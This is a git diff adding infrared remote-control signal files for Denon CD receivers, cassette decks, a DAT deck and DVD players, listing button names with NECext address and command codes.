Receiver/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir new file mode 100644 index 000000000..544602dfd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/4,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_REVERSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 57 00 00 00 +# +name: TAPE_FORWARD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir new file mode 100644 index 000000000..3822fc66b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/6,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: MINI-DISC_STOP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E1 00 00 00 +# +name: MINI-DISC_PLAY/PAUSE +type: parsed +protocol: NECext +address: 06 00 00 00 +command: E2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir new file mode 100644 index 000000000..93b24c0a0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Receiver/8,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 42 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 43 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 44 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 45 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 46 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 47 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 48 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 49 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4A 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4B 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4C 00 00 00 +# +name: PROGRAM/DIRECT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: CLEAR/DELETE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 51 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: SKIP_FORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: SKIP_BACK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: TUNER_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: TUNER_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: FAST_REWIND +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: TUNER_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: TUNER_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: CD_PLAY/PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5E 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5E 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6A 00 00 00 +# +name: FOLDER_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: FOLDER_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6E 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 70 00 00 00 +# +name: FOLDER_MODE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 7E 00 00 00 +# +name: MENU/SET +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 91 00 00 00 +# +name: SDB/TONE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: EA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir new file mode 100644 index 000000000..d5f1b277a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTING +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 4B 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 4C 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 4D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 50 00 00 00 +# +name: VDP +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 54 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 58 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 59 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5A 00 00 00 +# +name: TAPE-1 +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5D 00 00 00 +# +name: TAPE-2/VCR +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 5E 00 00 00 +# +name: VIDEO_SELECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 62 00 00 00 +# +name: REC_SELECT +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 75 00 00 00 +# +name: PANEL +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: 7E 00 00 00 +# +name: PRESET_V +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D5 00 00 00 +# +name: PRESET_^ +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: D6 00 00 00 +# +name: P.SCAN +type: parsed +protocol: NECext +address: 0C 00 00 00 +command: DC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir new file mode 100644 index 000000000..ec8000ac5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4C 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 50 00 00 00 +# +name: TAPE_MONITOR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 58 00 00 00 +# +name: TAPE-1/1>2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 59 00 00 00 +# +name: TAPE-2/2>1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir new file mode 100644 index 000000000..147fe2569 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: D1_CASS_PITCH+/- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 45 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 46 00 00 00 +# +name: D2_CASS_PITCH+/- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 4A 00 00 00 +# +name: DECK_SELECT_A/B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 53 00 00 00 +# +name: A/B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 53 00 00 00 +# +name: DECK_PLAY_REV._< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 57 00 00 00 +# +name: PLAY(REV) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 57 00 00 00 +# +name: D1_CASS_FWD_>>_(>>) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: F.F_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: DECK_FF_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: D1_CASS_REW_<<_(<<) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: DECK_REW_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: D1_CASS_PLAY_> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: DECK_PLAY_> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: REC_PAUSE/MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5D 00 00 00 +# +name: DECK_PAUSE_ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5D 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5D 00 00 00 +# +name: D1_CASS_STOP[]_ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5E 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5E 00 00 00 +# +name: DECK_STOP_[] +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5E 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5F 00 00 00 +# +name: DECK_REC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5F 00 00 00 +# +name: D2_CASS_FWD_>>_(>>) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 6A 00 00 00 +# +name: D2_CASS_REW_<<_(<<) +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 6B 00 00 00 +# +name: D2_CASS_PLAY_> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 6C 00 00 00 +# +name: D2_CASS_STOP[]_ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir new file mode 100644 index 000000000..bf349a677 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_SKIP_FWD_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: CD_SKIP_REV_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: CD_PAUSE_ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: CD_PITCH_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 77 00 00 00 +# +name: CD_PITCH_- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 78 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/DAT/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/DAT/4,-1.ir new file mode 100644 index 000000000..a57440cc7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/DAT/4,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C1 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C2 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C3 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C4 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C5 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C6 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C7 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C8 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C9 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: CA 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D0 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D4 00 00 00 +# +name: SRCH_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D8 00 00 00 +# +name: SRCH_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D9 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DA 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DB 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DC 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DD 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DE 00 00 00 +# +name: REC/MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DF 00 00 00 +# +name: MODE_COUNTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: E1 00 00 00 +# +name: RESET_COUNTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: E2 00 00 00 +# +name: RENUMBER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: E7 00 00 00 +# +name: END +type: parsed +protocol: NECext +address: 04 00 00 00 +command: EA 00 00 00 +# +name: ID_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: EB 00 00 00 +# +name: WRITE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: EC 00 00 00 +# +name: ERASE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: ED 00 00 00 +# +name: DIGITAL_FADE_IN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F1 00 00 00 +# +name: DIGITAL_FADE_OUT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F2 00 00 00 +# +name: FINE_CUE_< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F3 00 00 00 +# +name: FINE_CUE_> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F4 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/176,0.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/176,0.ir new file mode 100644 index 000000000..401825768 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/176,0.ir @@ -0,0 +1,482 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 00 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 00 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 01 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 04 00 00 00 +# +name: SLOW/SEARCH_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 04 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 04 00 00 00 +# +name: <> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 04 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 05 00 00 00 +# +name: SLOW/SEARCH_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 05 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 05 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 06 00 00 00 +# +name: STILL/PAUSE_>< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 06 00 00 00 +# +name: STILL/PAUSE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 06 00 00 00 +# +name: SLOW_< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 07 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0A 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0A 00 00 00 +# +name: SLOW_> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 0F 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 19 00 00 00 +# +name: AUDIO_MODE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 33 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 33 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 3F 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 48 00 00 00 +# +name: A-B_REPEAT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 48 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: SKIP/SEARCH_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 49 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: SKIP/SEARCH_>> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 4A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 80 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 81 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 82 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 82 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 83 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: CURSOR_^ +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 85 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: CURSOR_DN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: CURSOR_V +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 86 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: CURSOR_LF +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: CURSOR_< +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 87 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: CURSOR_RT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: CURSOR_> +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 88 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 89 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 89 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8C 00 00 00 +# +name: REPEAT_MODE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8C 00 00 00 +# +name: PLAY_MODE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8D 00 00 00 +# +name: MARKER +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 8E 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 90 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 91 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 92 00 00 00 +# +name: OFF/ON +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 93 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 94 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 94 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9B 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9B 00 00 00 +# +name: V.S.S +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9E 00 00 00 +# +name: V.S.S. +type: parsed +protocol: NECext +address: B0 00 00 00 +command: 9E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/2,-1.ir new file mode 100644 index 000000000..27a91c75e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/2,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F1 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/2,1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/2,1.ir new file mode 100644 index 000000000..e9b3ee641 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/2,1.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 01 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 02 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 03 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 04 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 06 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 0A 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 16 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 17 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 18 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 19 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 1A 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 1B 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 1C 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 20 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 21 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 22 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 23 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 28 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 29 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 2B 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 2C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 2D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/4,-1.ir new file mode 100644 index 000000000..d31421fae --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/4,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: SEARCH_MODE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 9E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 9E 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 9F 00 00 00 +# +name: PICTURE_ADJUST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: A0 00 00 00 +# +name: PICT._ADJUST +type: parsed +protocol: NECext +address: 04 00 00 00 +command: A0 00 00 00 +# +name: PICADJ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: A0 00 00 00 +# +name: PIC_ADJ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: A0 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: A1 00 00 00 +# +name: PURE_DIRECT_MEMORY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: A2 00 00 00 +# +name: P.D._MEMORY +type: parsed +protocol: NECext +address: 04 00 00 00 +command: A2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/6,-1.ir new file mode 100644 index 000000000..93a002a46 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/DVD Player/6,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C0 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C0 00 00 00 +# +name: DVD_OFF +type: parsed +protocol: NECext +address: 06 00 00 00 +command: C0 00 00 00 +# +name: SUPER_AUDIO_CD_SETUP +type: parsed +protocol: NECext +address: 06 00 00 00 +command: CD 00 00 00 +# +name: CD/STEREO/MULTI +type: parsed +protocol: NECext +address: 06 00 00 00 +command: CD 00 00 00 +# +name: SUPER_AUDIO_CD_SET +type: parsed +protocol: NECext +address: 06 00 00 00 +command: CD 00 00 00 